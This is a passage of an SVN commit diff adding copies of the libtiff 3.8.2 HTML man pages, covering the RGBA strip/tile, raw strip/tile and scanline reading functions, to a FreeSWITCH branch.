+<b>TIFFReadRGBAStrip</b>(3TIFF),
+<b>TIFFReadRGBATile</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAStrip.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAStrip.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadRGBAStrip.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAStrip.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAStrip.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadRGBAStrip</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadRGBAStrip</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadRGBAStrip &minus; read and decode an image strip
+into a fixed-format raster</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>#define TIFFGetR(abgr) ((abgr) &amp; 0xff)<br>
+#define TIFFGetG(abgr) (((abgr) &gt;&gt; 8) &amp; 0xff)<br>
+#define TIFFGetB(abgr) (((abgr) &gt;&gt; 16) &amp; 0xff)<br>
+#define TIFFGetA(abgr) (((abgr) &gt;&gt; 24) &amp;
+0xff)</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFReadRGBAStrip(TIFF *</b><i>tif</i><b>,
+uint32</b> <i>row</i><b>, uint32
+*</b><i>raster</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFReadRGBAStrip</i> reads a single strip of a
+strip-based image into memory, storing the result in the
+user supplied RGBA <i>raster</i>. The raster is assumed to
+be an array of width times rowsperstrip 32-bit entries,
+where width is the width of the image (TIFFTAG_IMAGEWIDTH)
+and rowsperstrip is the maximum lines in a strip
+(TIFFTAG_ROWSPERSTRIP).</p>
+<!-- INDENTATION -->
+<p>The <i>row</i> value should be the row of the first row
+in the strip (strip * rowsperstrip, zero based).</p>
+<!-- INDENTATION -->
+<p>Note that the raster is assume to be organized such that
+the pixel at location (<i>x</i>,<i>y</i>) is
+<i>raster</i>[<i>y</i>*<i>width</i>+<i>x</i>]; with the
+raster origin in the <i>lower-left hand corner</i> of the
+strip. That is bottom to top organization. When reading a
+partial last strip in the file the last line of the image
+will begin at the beginning of the buffer.</p>
+<!-- INDENTATION -->
+<p>Raster pixels are 8-bit packed red, green, blue, alpha
+samples. The macros <i>TIFFGetR</i>, <i>TIFFGetG</i>,
+<i>TIFFGetB</i>, and <i>TIFFGetA</i> should be used to
+access individual samples. Images without Associated Alpha
+matting information have a constant Alpha of 1.0 (255).</p>
+<!-- INDENTATION -->
+<p>See the <i>TIFFRGBAImage</i>(3TIFF) page for more details
+on how various image types are converted to RGBA values.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Samples must be either 1, 2, 4, 8, or 16 bits.
+Colorimetric samples/pixel must be either 1, 3, or 4 (i.e.
+<i>SamplesPerPixel</i> minus <i>ExtraSamples</i>).</p>
+<!-- INDENTATION -->
+<p>Palette image colormaps that appear to be incorrectly
+written as 8-bit values are automatically scaled to
+16-bits.</p>
+<!-- INDENTATION -->
+<p><i>TIFFReadRGBAStrip</i> is just a wrapper around the
+more general <i>TIFFRGBAImage</i>(3TIFF) facilities.
+It&rsquo;s main advantage over the similar
+<i>TIFFReadRGBAImage()</i> function is that for large images
+a single buffer capable of holding the whole image
+doesn&rsquo;t need to be allocated, only enough for one
+strip. The <i>TIFFReadRGBATile()</i> function does a similar
+operation for tiled images.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>1 is returned if the image was successfully read and
+converted. Otherwise, 0 is returned if an error was
+encountered.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-bit pictures</b>. The image
+had <i>BitsPerSample</i> other than 1, 2, 4, 8, or 16.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-channel images</b>. The image
+had <i>SamplesPerPixel</i> other than 1, 3, or 4.</p>
+<!-- INDENTATION -->
+<p><b>Missing needed &quot;PhotometricInterpretation&quot;
+tag</b>. The image did not have a tag that describes how to
+display the data.</p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+RGB</b>. The image was missing a tag that describes how to
+display it, but because it has 3 or 4 samples/pixel, it is
+assumed to be <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+min-is-black</b>. The image was missing a tag that describes
+how to display it, but because it has 1 sample/pixel, it is
+assumed to be a grayscale or bilevel image.</p>
+<!-- INDENTATION -->
+<p><b>No space for photometric conversion table</b>. There
+was insufficient memory for a table used to convert image
+samples to 8-bit <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>Missing required &quot;Colormap&quot; tag</b>. A
+Palette image did not have a required <i>Colormap</i>
+tag.</p>
+<!-- INDENTATION -->
+<p><b>No space for tile buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>No space for strip buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>Can not handle format</b>. The image has a format
+(combination of <i>BitsPerSample</i>,
+<i>SamplesPerPixel</i>, and
+<i>PhotometricInterpretation</i>) that
+<i>TIFFReadRGBAImage</i> can not handle.</p>
+<!-- INDENTATION -->
+<p><b>No space for B&amp;W mapping table</b>. There was
+insufficient memory to allocate a table used to map
+grayscale data to <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No space for Palette mapping table</b>. There was
+insufficient memory to allocate a table used to map data to
+8-bit <small>RGB.</small></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFRGBAImage</b>(3TIFF),
+<b>TIFFReadRGBAImage</b>(3TIFF),
+<b>TIFFReadRGBATile</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBATile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBATile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadRGBATile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBATile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBATile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,261 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadRGBATile</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadRGBATile</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadRGBATile &minus; read and decode an image tile
+into a fixed-format raster</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="-2%">
+
+<p><b>#define TIFFGetR(abgr)</b></p>
+</td>
+<td width="25%"></td>
+<td width="6%"></td>
+<td width="61%">
+
+<p><b>((abgr) &amp; 0xff)</b></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="-2%">
+
+<p><b>#define TIFFGetG(abgr)</b></p>
+</td>
+<td width="25%"></td>
+<td width="6%"></td>
+<td width="61%">
+
+<p><b>(((abgr) &gt;&gt; 8) &amp; 0xff)</b></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="-2%">
+
+<p><b>#define TIFFGetB(abgr)</b></p>
+</td>
+<td width="25%"></td>
+<td width="6%"></td>
+<td width="61%">
+
+<p><b>(((abgr) &gt;&gt; 16) &amp; 0xff)</b></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="-2%">
+
+<p><b>#define TIFFGetA(abgr)</b></p>
+</td>
+<td width="25%"></td>
+<td width="6%"></td>
+<td width="61%">
+
+<p><b>(((abgr) &gt;&gt; 24) &amp; 0xff)</b></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>int TIFFReadRGBATile(TIFF *</b><i>tif</i><b>,
+uint32</b> <i>x</i><b>, uint32</b> <i>y</i><b>, uint32
+*</b><i>raster</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFReadRGBATile</i> reads a single tile of a
+tile-based image into memory, storing the result in the user
+supplied RGBA <i>raster</i>. The raster is assumed to be an
+array of width times length 32-bit entries, where width is
+the width of a tile (TIFFTAG_TILEWIDTH) and length is the
+height of a tile (TIFFTAG_TILELENGTH).</p>
+<!-- INDENTATION -->
+<p>The <i>x</i> and <i>y</i> values are the offsets from the
+top left corner to the top left corner of the tile to be
+read. They must be an exact multiple of the tile width and
+length.</p>
+<!-- INDENTATION -->
+<p>Note that the raster is assume to be organized such that
+the pixel at location (<i>x</i>,<i>y</i>) is
+<i>raster</i>[<i>y</i>*<i>width</i>+<i>x</i>]; with the
+raster origin in the <i>lower-left hand corner</i> of the
+tile. That is bottom to top organization. Edge tiles which
+partly fall off the image will be filled out with
+appropriate zeroed areas.</p>
+<!-- INDENTATION -->
+<p>Raster pixels are 8-bit packed red, green, blue, alpha
+samples. The macros <i>TIFFGetR</i>, <i>TIFFGetG</i>,
+<i>TIFFGetB</i>, and <i>TIFFGetA</i> should be used to
+access individual samples. Images without Associated Alpha
+matting information have a constant Alpha of 1.0 (255).</p>
+<!-- INDENTATION -->
+<p>See the <i>TIFFRGBAImage</i>(3TIFF) page for more details
+on how various image types are converted to RGBA values.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Samples must be either 1, 2, 4, 8, or 16 bits.
+Colorimetric samples/pixel must be either 1, 3, or 4 (i.e.
+<i>SamplesPerPixel</i> minus <i>ExtraSamples</i>).</p>
+<!-- INDENTATION -->
+<p>Palette image colormaps that appear to be incorrectly
+written as 8-bit values are automatically scaled to
+16-bits.</p>
+<!-- INDENTATION -->
+<p><i>TIFFReadRGBATile</i> is just a wrapper around the more
+general <i>TIFFRGBAImage</i>(3TIFF) facilities. It&rsquo;s
+main advantage over the similar <i>TIFFReadRGBAImage()</i>
+function is that for large images a single buffer capable of
+holding the whole image doesn&rsquo;t need to be allocated,
+only enough for one tile. The <i>TIFFReadRGBAStrip()</i>
+function does a similar operation for stripped images.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>1 is returned if the image was successfully read and
+converted. Otherwise, 0 is returned if an error was
+encountered.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-bit pictures</b>. The image
+had <i>BitsPerSample</i> other than 1, 2, 4, 8, or 16.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-channel images</b>. The image
+had <i>SamplesPerPixel</i> other than 1, 3, or 4.</p>
+<!-- INDENTATION -->
+<p><b>Missing needed &quot;PhotometricInterpretation&quot;
+tag</b>. The image did not have a tag that describes how to
+display the data.</p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+RGB</b>. The image was missing a tag that describes how to
+display it, but because it has 3 or 4 samples/pixel, it is
+assumed to be <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+min-is-black</b>. The image was missing a tag that describes
+how to display it, but because it has 1 sample/pixel, it is
+assumed to be a grayscale or bilevel image.</p>
+<!-- INDENTATION -->
+<p><b>No space for photometric conversion table</b>. There
+was insufficient memory for a table used to convert image
+samples to 8-bit <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>Missing required &quot;Colormap&quot; tag</b>. A
+Palette image did not have a required <i>Colormap</i>
+tag.</p>
+<!-- INDENTATION -->
+<p><b>No space for tile buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>No space for strip buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>Can not handle format</b>. The image has a format
+(combination of <i>BitsPerSample</i>,
+<i>SamplesPerPixel</i>, and
+<i>PhotometricInterpretation</i>) that
+<i>TIFFReadRGBAImage</i> can not handle.</p>
+<!-- INDENTATION -->
+<p><b>No space for B&amp;W mapping table</b>. There was
+insufficient memory to allocate a table used to map
+grayscale data to <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No space for Palette mapping table</b>. There was
+insufficient memory to allocate a table used to map data to
+8-bit <small>RGB.</small></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFRGBAImage</b>(3TIFF),
+<b>TIFFReadRGBAImage</b>(3TIFF),
+<b>TIFFReadRGBAStrip</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawStrip.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawStrip.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadRawStrip.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawStrip.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawStrip.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,109 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadRawStrip</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadRawStrip</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadRawStrip &minus; return the undecoded contents of
+a strip of data from an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tsize_t TIFFReadRawStrip(TIFF *</b><i>tif</i><b>,
+tstrip_t</b> <i>strip</i><b>, tdata_t</b> <i>buf</i><b>,
+tsize_t</b> <i>size</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Read the contents of the specified strip into the (user
+supplied) data buffer. Note that the value of <i>strip</i>
+is a &lsquo;&lsquo;raw strip number.&rsquo;&rsquo; That is,
+the caller must take into account whether or not the data is
+organized in separate planes (<i>PlanarConfiguration</i>=2).
+To read a full strip of data the data buffer should
+typically be at least as large as the number returned by
+<i>TIFFStripSize</i>.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The actual number of bytes of data that were placed in
+<i>buf</i> is returned; <i>TIFFReadEncodedStrip</i> returns
+&minus;1 if an error was encountered.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF),
+<b>TIFFReadEncodedStrip</b>(3TIFF),
+<b>TIFFReadScanline</b>(3TIFF), <b>TIFFStripSize</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawTile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawTile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadRawTile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawTile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRawTile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,111 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadRawTile</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadRawTile</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadRawTile &minus; return an undecoded tile of data
+from an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tsize_t TIFFReadRawTile(TIFF *</b><i>tif</i><b>,
+ttile_t</b> <i>tile</i><b>, tdata_t</b> <i>buf</i><b>,
+tsize_t</b> <i>size</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Read the contents of the specified tile into the (user
+supplied) data buffer. Note that the value of <i>tile</i> is
+a &lsquo;&lsquo;raw tile number.&rsquo;&rsquo; That is, the
+caller must take into account whether or not the data is
+organized in separate planes (<i>PlanarConfiguration</i>=2).
+<i>TIFFComputeTile</i> automatically does this when
+converting an (x,y,z,sample) coordinate quadruple to a tile
+number. To read a full tile of data the data buffer should
+typically be at least as large as the value returned by
+<i>TIFFTileSize</i>.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The actual number of bytes of data that were placed in
+<i>buf</i> is returned; <i>TIFFReadEncodedTile</i> returns
+&minus;1 if an error was encountered.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF),
+<b>TIFFReadEncodedTile</b>(3TIFF),
+<b>TIFFReadTile</b>(3TIFF), <b>TIFFTileSize</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadScanline.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadScanline.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadScanline.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadScanline.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadScanline.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,157 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadScanline</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadScanline</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadScanline &minus; read and decode a scanline of
+data from an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFReadScanline(TIFF *</b><i>tif</i><b>,
+tdata_t</b> <i>buf</i><b>, uint32</b> <i>row</i><b>,
+tsample_t</b> <i>sample</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
